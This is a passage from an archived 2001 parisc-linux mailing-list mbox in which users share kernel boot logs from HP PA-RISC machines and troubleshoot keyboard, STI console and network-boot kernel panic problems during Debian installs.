NTI0IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoOTEwMCBNQikKSnVsICA2IDE0OjQxOjI1IHBhbGlu
IGtlcm5lbDogUGFydGl0aW9uIGNoZWNrOgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiAg
c2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0IDwgc2RhNSBzZGE2IHNkYTcgPgpKdWwgIDYgMTQ6NDE6
MjUgcGFsaW4ga2VybmVsOiBEZXRlY3RlZCBzY3NpIENELVJPTSBzcjAgYXQgc2NzaTEsIGNoYW5u
ZWwgMCwgaWQgMCwgbHVuIDAKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogc3IwOiBzY3Np
My1tbWMgZHJpdmU6IDB4LzB4IGNkL3J3IHhhL2Zvcm0yIGNkZGEgdHJheQpKdWwgIDYgMTQ6NDE6
MjUgcGFsaW4ga2VybmVsOiBVbmlmb3JtIENELVJPTSBkcml2ZXIgUmV2aXNpb246IDMuMTIKSnVs
ICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogTGFzaSBIYXJtb255IEF1ZGlvIHJldi4gMCBhdCAw
eGZmZDA0MDAwLCB1c2luZyBJUlEgMTQ2Ckp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IG1k
IGRyaXZlciAwLjkwLjAgTUFYX01EX0RFVlM9MjU2LCBNRF9TQl9ESVNLUz0yNwpKdWwgIDYgMTQ6
NDE6MjUgcGFsaW4ga2VybmVsOiBtZC5jOiBzaXplb2YobWRwX3N1cGVyX3QpID0gNDA5NgpKdWwg
IDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBORVQ0OiBMaW51eCBUQ1AvSVAgMS4wIGZvciBORVQ0
LjAKSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogSVAgUHJvdG9jb2xzOiBJQ01QLCBVRFAs
IFRDUApKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBJUDogcm91dGluZyBjYWNoZSBoYXNo
IHRhYmxlIG9mIDUxMiBidWNrZXRzLCA0S2J5dGVzCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJu
ZWw6IFRDUDogSGFzaCB0YWJsZXMgY29uZmlndXJlZCAoZXN0YWJsaXNoZWQgODE5MiBiaW5kIDE2
Mzg0KQpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4ga2VybmVsOiBJUC1Db25maWc6IEluY29tcGxldGUg
bmV0d29yayBjb25maWd1cmF0aW9uIGluZm9ybWF0aW9uLgpKdWwgIDYgMTQ6NDE6MjUgcGFsaW4g
a2VybmVsOiBORVQ0OiBVbml4IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9yIExpbnV4IE5FVDQu
MC4KSnVsICA2IDE0OjQxOjI1IHBhbGluIGtlcm5lbDogVkZTOiBNb3VudGVkIHJvb3QgKGV4dDIg
ZmlsZXN5c3RlbSkgcmVhZG9ubHkuCkp1bCAgNiAxNDo0MToyNSBwYWxpbiBrZXJuZWw6IEFkZGlu
ZyBTd2FwOiAxMjQ5MjRrIHN3YXAtc3BhY2UgKHByaW9yaXR5IC0xKQo=

--0__=C1256A8100401A6F8f9e8a93df938690918cC1256A8100401A6F--





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Fri, 6 Jul 2001 15:25:42 +0200
Lines: 266
Approved: news@gmane.org
Message-ID: <OF661BE745.10F18F0D-ONC1256A81.004953CA@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620271 21772 80.91.229.3 (22 Nov 2014 01:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net
To: "Richard Hirst <rhirst" <rhirst%linuxcare.com%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 07:37:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B75D482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 07:37:43 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d549548f2cc@epirel991.europay.com>;
 Fri, 6 Jul 2001 15:37:18 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/06/2001 03:32:52 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11521

My kern.log.last should be more readable like this:

Jul  6 14:41:23 palin kernel: klogd 1.4.1#2, log source =3D /proc/kmsg
started.
Jul  6 14:41:23 palin kernel: Inspecting /boot/System.map
Jul  6 14:41:25 palin kernel: Loaded 24720 symbols from /boot/System.map.
Jul  6 14:41:25 palin kernel: Symbols match kernel version 2.4.0.
Jul  6 14:41:25 palin kernel: No module symbols loaded.
Jul  6 14:41:25 palin kernel: Linux version 2.4.0-32 (root@slab) (gcc
version 3.0 (Debian)) #1 Thu Jun 28 11:49:00 BST 2001
Jul  6 14:41:25 palin kernel: FP[0] enabled: Rev 1 Model 15
Jul  6 14:41:25 palin kernel: The 32-bit Kernel has started...
Jul  6 14:41:25 palin kernel: Determining PDC firmware type: Newer Box
Jul  6 14:41:25 palin kernel: model^I00005040 00000481 00000000 02020202
77ea2456 100000f0 00000004 000000ba 000000ba
Jul  6 14:41:25 palin kernel: vers^I00000018
Jul  6 14:41:25 palin kernel: cpuid^I000001f8
Jul  6 14:41:25 palin kernel: CPUID^Ivers 15 rev 24
Jul  6 14:41:25 palin kernel: model^I9000/778/B180L
Jul  6 14:41:25 palin kernel: Total Memory: 128 Mb
Jul  6 14:41:25 palin kernel: On node 0 totalpages: 32768
Jul  6 14:41:25 palin kernel: zone(0): 32768 pages.
Jul  6 14:41:25 palin kernel: zone(1): 0 pages.
Jul  6 14:41:25 palin kernel: zone(2): 0 pages.
Jul  6 14:41:25 palin kernel: led_init: chassis info: model=3D1 (unknown),
lcd_width=3D16, cmd_delay=3D40, sizecnt=3D32, actcnt=3D8, maxcnt=3D8
Jul  6 14:41:25 palin kernel: PDC reported no LCD or LED.
Jul  6 14:41:25 palin kernel: Searching for devices...
Jul  6 14:41:25 palin kernel: Found devices:
Jul  6 14:41:25 palin kernel: 1. Phantom PseudoBC GSC+ Port (7) at
0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 2. Merlin+ 132 Dino RS-232 (10) at
0xfff83000, versions 0x22, 0x0, 0x8c, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 3. Merlin L2+ 180 (9000/778/B180L) (0) at
0xfffbe000, versions 0x504, 0x0, 0x4, 0x0, 0x81
Jul  6 14:41:25 palin kernel: 4. Merlin+ L2 180 (1) at 0xfffbf000, versions
0x5a, 0x0, 0x9, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 5. Merlin+ 180 Core BA (11) at 0xffd00000,
versions 0x3f, 0x0, 0x81, 0x0, 0x0,  additional addresses: 0xffd0c000
0xffc00000
Jul  6 14:41:25 palin kernel: 6. Merlin+ 180 Core RS-232 (10) at
0xffd05000, versions 0x3f, 0x0, 0x8c, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 7. Merlin+ 180 Core SCSI (10) at 0xffd06000,
versions 0x3f, 0x0, 0x82, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 8. Merlin+ 180 Core Centronics (10) at
0xffd02000, versions 0x3f, 0x0, 0x74, 0x0, 0x0,  additional addresses:
0xffd01000 0xffd03000
Jul  6 14:41:25 palin kernel: 9. Merlin+ 180 Core Audio (10) at 0xffd04000,
versions 0x3f, 0x4, 0x7b, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 10. Merlin+ 180 Core PS/2 Port (10) at
0xffd08000, versions 0x3f, 0x0, 0x84, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 11. Merlin+ 180 Core PS/2 Port (10) at
0xffd08100, versions 0x3f, 0x0, 0x84, 0x0, 0x0
Jul  6 14:41:25 palin kernel: 12. Gecko GSC Core Graphics (10) at
0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0,  additional addresses:
0xf0011000
Jul  6 14:41:25 palin kernel: 13. Dino PCI Bridge (13) at 0xfff80000,
versions 0x680, 0x3, 0xa, 0x0, 0x0,  additional addresses: 0xf0800000
Jul  6 14:41:25 palin kernel: 14. Merlin+ 132 Dino PS/2 Port (10) at
0xfff81000, versions 0x22, 0x0, 0x96, 0x0, 0x0
Jul  6 14:41:25 palin kernel: That's a total of 14 devices.
Jul  6 14:41:25 palin kernel: CPU(s): 1 x PA7300LC (PCX-L2) at 180.000000
MHz
Jul  6 14:41:25 palin kernel: Kernel command line: root=3D/dev/sda3 HOME=3D/
console=3Dtty0 TERM=3Dlinux
Jul  6 14:41:25 palin kernel: Console: colour dummy device 160x64
Jul  6 14:41:25 palin kernel: Calibrating delay loop... 119.60 BogoMIPS
Jul  6 14:41:25 palin kernel: Memory: 126364k available
Jul  6 14:41:25 palin kernel: Dentry-cache hash table entries: 16384
(order: 5, 131072 bytes)
Jul  6 14:41:25 palin kernel: Buffer-cache hash table entries: 4096 (order:
2, 16384 bytes)
Jul  6 14:41:25 palin kernel: Page-cache hash table entries: 32768 (order:
5, 131072 bytes)
Jul  6 14:41:25 palin kernel: Inode-cache hash table entries: 8192 (order:
4, 65536 bytes)
Jul  6 14:41:25 palin kernel: POSIX conformance testing by UNIFIX
Jul  6 14:41:25 palin kernel: Dino version 3.1 (bridge mode) found at
0xfff80000
Jul  6 14:41:25 palin kernel: Lasi version 0 at 0xffd00000 found.
Jul  6 14:41:25 palin kernel: LED display at ffd0c000 registered
Jul  6 14:41:25 palin kernel: Lasi PS/2 wait 2318
Jul  6 14:41:25 palin kernel: Lasi PS/2 wait 4370
Jul  6 14:41:25 palin kernel: PS/2 keyboard controller at 0xffd08000 (irq
133) found, device attached.
Jul  6 14:41:25 palin kernel: Lasi PS/2 wait 3209
Jul  6 14:41:25 palin kernel: PS/2 psaux controller at 0xffd08100 (irq 133)
found, device attached.
Jul  6 14:41:25 palin kernel:
Jul  6 14:41:25 palin kernel: sticonsole_init: searching for STI ROMs
Jul  6 14:41:25 palin kernel: STI word mode ROM at f0011000, hpa=3Df8000000
Jul  6 14:41:25 palin kernel: STI word mode ROM, id 2d08c0a7-9a02587,
conforms to spec rev. 8.07
Jul  6 14:41:25 palin kernel: STI device: INTERNAL_EG_1280
Jul  6 14:41:25 palin kernel: Console: switching to colour STI console
160x64
Jul  6 14:41:25 palin kernel: Linux NET4.0 for Linux 2.4
Jul  6 14:41:25 palin kernel: Based upon Swansea University Computer
Society NET3.039
Jul  6 14:41:25 palin kernel: Starting kswapd v1.8
Jul  6 14:41:25 palin kernel: stifb: Unsupported graphics card
(id=3D0x2d08c0a7) - skipping.
Jul  6 14:41:25 palin kernel: pty: 256 Unix98 ptys configured
Jul  6 14:41:25 palin kernel: request_module[parport_lowlevel]: Root fs not
mounted
Jul  6 14:41:25 palin kernel: lp: driver loaded but no devices found
Jul  6 14:41:25 palin kernel: RAMDISK driver initialized: 16 RAM disks of
6144K size 1024 blocksize
Jul  6 14:41:25 palin kernel: loop: enabling 8 loop devices
Jul  6 14:41:25 palin kernel: Lasi PS/2 wait 2270
Jul  6 14:41:25 palin kernel: Lasi PS/2 wait 4364
Jul  6 14:41:25 palin kernel: Serial driver version 5.02 (2000-08-09) with
MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Jul  6 14:41:25 palin kernel: ttyS00 at iomem 0xffd05800 (irq =3D 154) is a
16550A
Jul  6 14:41:25 palin kernel: ttyS01 at iomem 0xfff83800 (irq =3D 74) is a
16550A
Jul  6 14:41:25 palin kernel: Generic RTC Driver v1.02 05/27/1999 Sam
Creasey (sammy@oh.verio.com)
Jul  6 14:41:25 palin kernel: Linux Tulip driver version 0.9.13 (January 2,
2001)
Jul  6 14:41:25 palin kernel: eth0: Digital DS21143 Tulip rev 65 at 0xff00,
00:10:83:65:09:4B, IRQ 64.
Jul  6 14:41:25 palin kernel: eth0:  MII transceiver #1 config 1000 status
782d advertising 01e1.
Jul  6 14:41:25 palin kernel: parport_init_chip: initialize
bidirectional-mode.
Jul  6 14:41:25 palin kernel: parport0: PC-style at 0xffd02800, irq 152
[PCSPP,TRISTATE]
Jul  6 14:41:25 palin kernel: lp0: using parport0 (interrupt-driven).
Jul  6 14:41:25 palin kernel: SCSI subsystem driver Revision: 1.00
Jul  6 14:41:25 palin kernel: sym53c8xx: at PCI bus 0, device 19, function
0
Jul  6 14:41:25 palin kernel: sym53c8xx: 53c875 detected
Jul  6 14:41:25 palin kernel: sym53c875-0: rev 0x4 on pci bus 0 device 19
function 0 irq 67
Jul  6 14:41:25 palin kernel: sym53c875-0: NCR clock is 40401KHz
Jul  6 14:41:25 palin kernel: sym53c875-0: ID 7, Fast-20, Parity Checking
Jul  6 14:41:25 palin kernel: sym53c875-0: on-chip RAM at 0xf0ffe000
Jul  6 14:41:25 palin kernel: sym53c875-0: restart (scsi reset).
Jul  6 14:41:25 palin kernel: sym53c875-0: Downloading SCSI SCRIPTS.
Jul  6 14:41:25 palin kernel: scsi0 : sym53c8xx - version 1.6b
Jul  6 14:41:25 palin kernel:   Vendor: SEAGATE   Model: ST39140WS
Rev: HP03
Jul  6 14:41:25 palin kernel:   Type:   Direct-Access
ANSI SCSI revision: 02
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: tagged command queue depth
set to 8
Jul  6 14:41:25 palin kernel: sim700: Configuring 53c710 (SCSI-ID 7) at
ffd06100, IRQ 150, options 0
Jul  6 14:41:25 palin kernel: scsi1: Revision 0x2
Jul  6 14:41:25 palin kernel: scsi1: test 1 completed ok.
Jul  6 14:41:25 palin kernel: scsi1 : LASI/Simple 53c7xx
Jul  6 14:41:25 palin kernel:   Vendor: HP        Model: DVD-ROM 6x/32x
Rev: 1.08
Jul  6 14:41:25 palin kernel:   Type:   CD-ROM
ANSI SCSI revision: 02
Jul  6 14:41:25 palin kernel: Detected scsi disk sda at scsi0, channel 0,
id 6, lun 0
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide: wide=3D1 chg=3D0.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: wide: wide=3D1 chg=3D0.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: sync msgout: 1-3-1-c-10.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: sync msg in: 1-3-1-c-f.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,0>: sync: per=3D12 scntl3=3D0x=
90
scntl4=3D0x0 ofs=3D15 fak=3D0 chg=3D0.
Jul  6 14:41:25 palin kernel: sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0
MB/s (50 ns, offset 15)
Jul  6 14:41:25 palin kernel: SCSI device sda: 17773524 512-byte hdwr
sectors (9100 MB)
Jul  6 14:41:25 palin kernel: Partition check:
Jul  6 14:41:25 palin kernel:  sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 >
Jul  6 14:41:25 palin kernel: Detected scsi CD-ROM sr0 at scsi1, channel 0,
id 0, lun 0
Jul  6 14:41:25 palin kernel: sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2
cdda tray
Jul  6 14:41:25 palin kernel: Uniform CD-ROM driver Revision: 3.12
Jul  6 14:41:25 palin kernel: Lasi Harmony Audio rev. 0 at 0xffd04000,
using IRQ 146
Jul  6 14:41:25 palin kernel: md driver 0.90.0 MAX_MD_DEVS=3D256,
MD_SB_DISKS=3D27
Jul  6 14:41:25 palin kernel: md.c: sizeof(mdp_super_t) =3D 4096
Jul  6 14:41:25 palin kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Jul  6 14:41:25 palin kernel: IP Protocols: ICMP, UDP, TCP
Jul  6 14:41:25 palin kernel: IP: routing cache hash table of 512 buckets,
4Kbytes
Jul  6 14:41:25 palin kernel: TCP: Hash tables configured (established 8192
bind 16384)
Jul  6 14:41:25 palin kernel: IP-Config: Incomplete network configuration
information.
Jul  6 14:41:25 palin kernel: NET4: Unix domain sockets 1.0/SMP for Linux
NET4.0.
Jul  6 14:41:25 palin kernel: VFS: Mounted root (ext2 filesystem) readonly.
Jul  6 14:41:25 palin kernel: Adding Swap: 124924k swap-space (priority -1)

Joel,

PS: Sorry in the office we have to change of mail program and I not yet
familiar with it.



                                                                           =
                                  =20
                    Richard Hirst                                          =
                                  =20
                    <rhirst@linux        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    care.com>            cc:     puffin@esiee.net@SMTP@EURO=
PAY,                              =20
                                         parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY                    =20
                    06-07-01             Subject:     Re: [parisc-linux] pa=
linux 0.9.1                       =20
                    01:08 PM                                               =
                                  =20
                                                                           =
                                  =20
                                                                           =
                                  =20



On Wed, Jul 04, 2001 at 06:44:02PM +0200, Jo=EBl Soete wrote:
> Hi all,
>
> Very nice on 712 model.
> Just a small problem after the configuration of the inet interface:
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=3D2 (unowned) dev=3Dl0 len=3D328
> PROTO=3D17 0.0.0.0:68 255.255.255.255:67 L=3D328 S=3D0x10 I=3D0 F=3D0x000=
0 T=3D16
>
> This message is repeated severall times?

Don't know what causes that.

> But on the B180, I met the same problem as I met with the kernel
> vmlinux-20010629 (from puffin also with your vmlinux-712+sound+mouse):
> all seems to work fine but the keyboard does not answer (and no serial
> consol yet available) also it is impossible to contine the install?

I'm just installing a B180 using the 0.9.1 ISO, using the graphical
console.  I have a keyboard and mouse connected, and it is working
fine.  I'll try a serial console install next.

Richard





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] opening initial console
Date: Fri, 6 Jul 2001 10:19:31 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <000d01c10626$ac7139f0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000A_01C10605.2548B690"
X-Trace: ger.gmane.org 1416620271 21774 80.91.229.3 (22 Nov 2014 01:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 08:17:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F080482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 08:17:14 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id L992VWCY; Fri, 6 Jul 2001 10:17:13 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11522

This is a multi-part message in MIME format.

------=_NextPart_000_000A_01C10605.2548B690
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Well good news and bad news. We've gotten a linux kernal to boot over a =
network using rbootd and bootp. However just after the root is mounted =
we get the following message:

NFS: Mounted root (nfs filesystem) readonly.
Warning: unable to open an initial console.
Kernel panic: no int found. Try passing init=3D option to kernel.

Anyone run into this problem or know how to fix it.

------=_NextPart_000_000A_01C10605.2548B690
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Well good news and bad news. We've =
gotten a linux=20
kernal to boot over a network using rbootd and bootp. However just after =
the=20
root is mounted we get the following message:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>NFS: Mounted root (nfs filesystem)=20
readonly.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Warning: unable to open an initial=20
console.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Kernel panic: no int found. Try passing =
init=3D=20
option to kernel.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Anyone run into this problem or know =
how to fix=20
it.</FONT></DIV></BODY></HTML>

------=_NextPart_000_000A_01C10605.2548B690--





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sticon problems
Date: Fri, 6 Jul 2001 15:32:02 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20010706153202.Y23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620272 21777 80.91.229.3 (22 Nov 2014 01:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 08:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01DFC482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 08:32:49 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 42FA5B00D; Fri,  6 Jul 2001 15:32:02 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11523

Hi,
  I've noticed two problems installing with sticon (not stifb),
on a B180.

First, cfdisk is supposed to show a highlighted bar over the
current partition on its main display.  It does not, so it
is difficult to know which partition you are working on.

Second, tasksel gives no indication at all which box is
active; it is only by toggling selections on and off that you
can work out where the cursor is.

I know there are limitations with the sti console, but it would
be nice if we could somehow translate attributes such that these
areas of the install worked better.

Richard





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] opening initial console
Date: Fri, 6 Jul 2001 15:39:37 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010706153937.Z23509@linuxcare.com>
References: <000d01c10626$ac7139f0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620272 21781 80.91.229.3 (22 Nov 2014 01:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 08:40:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE72D482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 08:40:23 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AE437B00C; Fri,  6 Jul 2001 15:39:37 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000d01c10626$ac7139f0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Fri, Jul 06, 2001 at 10:19:31AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11524

On Fri, Jul 06, 2001 at 10:19:31AM -0400, rpengelly wrote:
> Well good news and bad news. We've gotten a linux kernal to boot over a network using rbootd and bootp. However just after the root is mounted we get the following message:
> 
> NFS: Mounted root (nfs filesystem) readonly.
> Warning: unable to open an initial console.
> Kernel panic: no int found. Try passing init= option to kernel.
> 
> Anyone run into this problem or know how to fix it.

Sounds like you have tried to boot a kernel over the network, and
have it mount a root file system also over the network.  The problem
is likely to be that the kernel failed to find any useful files on
the file system it mounted - no /dev/tty*, no /sbin/init, etc.
Could be access permisions problems.  Try mounting the fs from some
other system and check things look ok.

If you grab the 0.9.1 ISO and boot the lifimage from that, the
lifimage contains 32 and 64 bit kernels, and a ramdisk.  It should
boot and mount root from the ramdisk (not from nfs).

Richard





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] opening initial console
Date: Fri, 6 Jul 2001 11:09:17 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <001901c1062d$a08091c0$0f809b8e@ati.stlawrencec.on.ca>
References: <000d01c10626$ac7139f0$0f809b8e@ati.stlawrencec.on.ca> <20010706153937.Z23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620272 21783 80.91.229.3 (22 Nov 2014 01:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:52 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 09:07:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ati6.ati.stlawrencec.on.ca (unknown [142.155.128.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DD7C482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 09:07:00 -0600 (MDT)
Original-Received: from XCETY01 ([142.155.128.15]) by ati6.ati.stlawrencec.on.ca with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id L992VWDJ; Fri, 6 Jul 2001 11:06:59 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:11525

I'm confused about booting from a lifimage. How do we go about this. Note:
we are unbale to install via CDROM because of harware issues so we are
relying on a network install.

P.S. Thanks for all your help so far. We need all we can get.

----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "rpengelly" <rpengelly@ati.stlawrencec.on.ca>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, July 06, 2001 10:39 AM
Subject: Re: [parisc-linux] opening initial console



> Sounds like you have tried to boot a kernel over the network, and
> have it mount a root file system also over the network.  The problem
> is likely to be that the kernel failed to find any useful files on
